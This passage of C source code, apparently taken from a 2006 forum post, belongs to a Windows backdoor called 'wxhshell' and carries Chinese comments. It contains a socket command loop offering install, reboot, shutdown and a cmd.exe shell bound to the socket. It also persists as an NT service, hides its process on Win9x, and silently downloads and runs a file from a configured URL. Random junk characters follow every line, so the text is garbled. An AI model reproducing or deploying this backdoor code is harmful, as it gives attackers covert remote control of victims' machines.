  // 帮助 ~$C<^?"b  
  case '?': { 4k3pm&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AkW>*x  
    break; U9^1 A*  
  } na8`V`77  
  // 安装 kh=<M{-t  
  case 'i': { 7)[Ve1;/N  
    if(Install()) f~Pce||e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DUl+Jqn4B  
    else "M-';;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r,Xyb`  
    break; ];6955I!  
    } pg7~%E4  
  // 卸载 lN:;~;z_  
  case 'r': { (BxmV1  
    if(Uninstall()) kqj)&0|X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v&/H6r#E.  
    else `o }+2Cb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sa9VwVUE  
    break; un~`|   
    } siCm)B  
  // 显示 wxhshell 所在路径 =. \hCgq  
  case 'p': { b-#{O=B  
    char svExeFile[MAX_PATH]; T* 0;3&sA  
    strcpy(svExeFile,"\n\r"); R6fkc^  
      strcat(svExeFile,ExeFile); %CvVu)tc  
        send(wsh,svExeFile,strlen(svExeFile),0); 9D M,,h<`  
    break; lkJxb~S  
    } RC1bTM  
  // 重启 et)n`NlcK  
  case 'b': { ^W:a7cMw  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W]7<PL*u  
    if(Boot(REBOOT)) e/:?9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p o)lN[v  
    else { |,oLZC Na  
    closesocket(wsh); ~BuBma_   
    ExitThread(0); X-<,zRM  
    } "p;tj74O9  
    break; 1?|"33\03R  
    } 612,J  
  // 关机 g&F$hm  
  case 'd': { k]r4b`x`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); inO;Uwlv  
    if(Boot(SHUTDOWN)) `4xQ#K.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p~8O6h@J  
    else { ^L d5<  
    closesocket(wsh); x X3I`  
    ExitThread(0); \rxjvV4fcZ  
    } bK0(c1*a[e  
    break; @SxZ>|r-|v  
    } wS9V@  
  // 获取shell j;y(to-e>D  
  case 's': { TS+jDs  
    CmdShell(wsh); <2 [vR|Q*  
    closesocket(wsh); rm3/R<  
    ExitThread(0); M_%KhK  
    break; }`QZV_  
  } XtZd% #2},  
  // 退出 -o"b$[sf=Z  
  case 'x': { zo "L9&Hzo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aBaiXv/*  
    CloseIt(wsh); +<p&V a#  
    break; sBI/`dGZV  
    } 08^f|K  
  // 离开 >Q@y8*E\F  
  case 'q': { 7"aN7Q+EbI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q) aZ0 Pt  
    closesocket(wsh); l"dXL"h  
    WSACleanup(); nZ'jjS[!  
    exit(1); )Z/w|5<  
    break; OZf@cOTWK  
        } r`Fs"n#^-4  
  } j96}E/gF  
  } VV$#<D<)  
6g#yzex  
  // 提示信息 /P9fcNP{y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4FYV]p8f  
} DN=W2MEfc  
  } R8lja%+0$  
 Hk4k  
  return; ]5a3e+  
} 7z3tDE[#  
7@gH{p1  
// shell模块句柄 3p HI+a  
int CmdShell(SOCKET sock) q+8de_"]  
{ 5p~5-_JX  
STARTUPINFO si; #0h}{y E  
ZeroMemory(&si,sizeof(si)); xqg4b{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (c}!gjm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "eTALRL'o  
PROCESS_INFORMATION ProcessInfo; ,!^c`_Q\>@  
char cmdline[]="cmd"; j ]%XY+e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5({_2meJ:  
  return 0; nJv=kk1|o  
} l{^s4  
s1[.L~;J  
// 自身启动模式 YGQ/zB^Pj  
int StartFromService(void) vdUKIP =|_  
{ Tzj v-9^V  
typedef struct ->;2CcpHB  
{ H-e$~vEbP  
  DWORD ExitStatus; fsEQ4xN'  
  DWORD PebBaseAddress; ( 6zu*H)  
  DWORD AffinityMask; YSPUQ  
  DWORD BasePriority; {y5 L  
  ULONG UniqueProcessId; &D-z|ZjgHi  
  ULONG InheritedFromUniqueProcessId; d:A'|;']  
}   PROCESS_BASIC_INFORMATION; 1]0;2THx  
4/*@cW  
PROCNTQSIP NtQueryInformationProcess; 9:xs)t- _  
A+H8\ew2,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =6\^F i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qo \9,<  
lZIJ[.  
  HANDLE             hProcess; &CXk=Wj  
  PROCESS_BASIC_INFORMATION pbi; `w4'DB-R)  
+]wM$bP  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &k_LK  
  if(NULL == hInst ) return 0; |XQ_4{  
pQ^V<6z}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ppLLX1S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B9 ?58v&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P =Q+VIP&  
/G]/zlUE  
  if (!NtQueryInformationProcess) return 0; N5K2Hv<"  
$g VbeQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v/~&n  
  if(!hProcess) return 0; |${ImP  
hD?6RVfG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Sw?F&  
(w"(RM~  
  CloseHandle(hProcess); Zi\ex\ )5  
%c]N-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); e87a9ZPm  
if(hProcess==NULL) return 0; vy={ziJ  
x2HISxg  
HMODULE hMod; aTH$+f1?Q  
char procName[255]; xf7YIhL^*  
unsigned long cbNeeded; x)$0Nr62D  
726UO#*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?D9iCP~~  
Ie _{P&J  
  CloseHandle(hProcess); a[rb-Z  
|) &d9|]  
if(strstr(procName,"services")) return 1; // 以服务启动 #^aa&*<D_  
~g#/q~UE  
  return 0; // 注册表启动 hz<TjWXv'  
} ;iJxJX\+  
O/(vimx.#F  
// 主模块 !:esdJH  
int StartWxhshell(LPSTR lpCmdLine) ~d\V>  
{ ",Mrdxn7  
  SOCKET wsl; H{9P=l  
BOOL val=TRUE; z"7X.*]  
  int port=0; 8D?$@!-  
  struct sockaddr_in door; Bzt:9hr6BO  
S&[9Vb  
  if(wscfg.ws_autoins) Install(); DVg$rm`  
^liW*F"UY  
port=atoi(lpCmdLine); ,-(D (J;}1  
{wz_ngQ  
if(port<=0) port=wscfg.ws_port; 1#+|RL4o  
;GOu'34j  
  WSADATA data; gk5Gf l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BjTgZ98J  
HmU6:8V *Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kou7_4oS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X+,0;% p  
  door.sin_family = AF_INET; $XkO\6kh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i tk/1  
  door.sin_port = htons(port); |:2B)X  
W*(- * \1[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MujEjD "|  
closesocket(wsl); WMWMb3  
return 1; ,jw`9a  
} D8Mq '$-  
nr}Ols  
  if(listen(wsl,2) == INVALID_SOCKET) { N@!PhP  
closesocket(wsl); P-8QXDdr  
return 1; G'dN<Nw6  
} /P]N40_@  
  Wxhshell(wsl); zA3r&stN+  
  WSACleanup(); !V/7q'&t=  
N cGFPi (Z  
return 0; f:~$x  
Cp>y<C"  
} 7(^F@,,@  
^\J-LU|"B  
// 以NT服务方式启动 BTG_c_ ?]e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) = 8y,7u)  
{ Lz:FR*  
DWORD   status = 0; ORWi+H|  
  DWORD   specificError = 0xfffffff; UVgSO|Tg  
W_3BL]^=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #,XZ@u+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SK 5]7C2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W5:fY>7  
  serviceStatus.dwWin32ExitCode     = 0; w&J_c8S  
  serviceStatus.dwServiceSpecificExitCode = 0; rw gj]  
  serviceStatus.dwCheckPoint       = 0; T*8K.yw2  
  serviceStatus.dwWaitHint       = 0; )"6"g9A  
)ZrB-(u~k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p1 HbD`ST  
  if (hServiceStatusHandle==0) return; |Sua4~yL(  
oK4xRv8Hd  
status = GetLastError(); -:J<JX)o  
  if (status!=NO_ERROR) :h3n[%  
{ eL}X().  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /<(-lbq,  
    serviceStatus.dwCheckPoint       = 0; #)[.Xz:U  
    serviceStatus.dwWaitHint       = 0; " *W# z  
    serviceStatus.dwWin32ExitCode     = status; C-h?#/#?y  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5IFzbL#q#f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PCV#O63[  
    return; X-TGrdoX  
  } Y3(I;~$!  
.c__T {<)[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zn_#}}e;G  
  serviceStatus.dwCheckPoint       = 0; imAOYEH7}  
  serviceStatus.dwWaitHint       = 0; k#8`996P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -Wh 2hWg+  
} ZW0\_1  
?d{O' &|:  
// 处理NT服务事件,比如:启动、停止 8pftc)k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qfxEo76'  
{ E'(nJ  
switch(fdwControl) 6 v~nEw  
{ 7n+,!oJ  
case SERVICE_CONTROL_STOP: `<| <1,  
  serviceStatus.dwWin32ExitCode = 0; uwZ,l-6T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c14d0x{  
  serviceStatus.dwCheckPoint   = 0; ^Qn:#O9  
  serviceStatus.dwWaitHint     = 0; - _6`0  
  { Fa v++z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NJ-Ji> w  
  } gFu,q`Vf*  
  return; vNl)ltzJF  
case SERVICE_CONTROL_PAUSE: cs9h\]ZA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [m 6+I9  
  break; l(}L-:@A  
case SERVICE_CONTROL_CONTINUE: / #rH18  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u U>L (  
  break; v-q-CI? B#  
case SERVICE_CONTROL_INTERROGATE: N mxh zjJ  
  break; 4# ]g852  
}; 1@h8.ym<"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (6:.u.b  
} -zqpjxU:  
l}/&6hI+d  
// 标准应用程序主函数 ud BIEW,`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x a<KF  
{ !J X7y%J  
k<+Sj h$  
// 获取操作系统版本 &NoA, `|7  
OsIsNt=GetOsVer(); B7|%N=S%/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rBi<Yy$z  
r Dlu&  
  // 从命令行安装 5y\35kT'  
  if(strpbrk(lpCmdLine,"iI")) Install(); r =vY-p  
[)GRP  
  // 下载执行文件 ~_N,zw{x  
if(wscfg.ws_downexe) { !k*B-@F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8AY;WL:;  
  WinExec(wscfg.ws_filenam,SW_HIDE); dh [kx  
} ~ho,bwJM[T  
~O PBZ#  
if(!OsIsNt) { v~T)g"_|  
// 如果时win9x,隐藏进程并且设置为注册表启动 R LF6Bc  
HideProc(); &B[*L+-E  
StartWxhshell(lpCmdLine); hif;atO  
} x$n.\`f0  
else YI"!&a'yj  
  if(StartFromService()) A%F8w'8(  
  // 以服务方式启动 ,Ww}xmq1H  
  StartServiceCtrlDispatcher(DispatchTable); a{^z= =  
else U:n~S  
  // 普通方式启动 M:%g)FgW  
  StartWxhshell(lpCmdLine); lnyq%T[^  
-Pt E+R[A  
return 0; knG:6tQ  
}
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只看该作者 1 发表于: 2006-10-10
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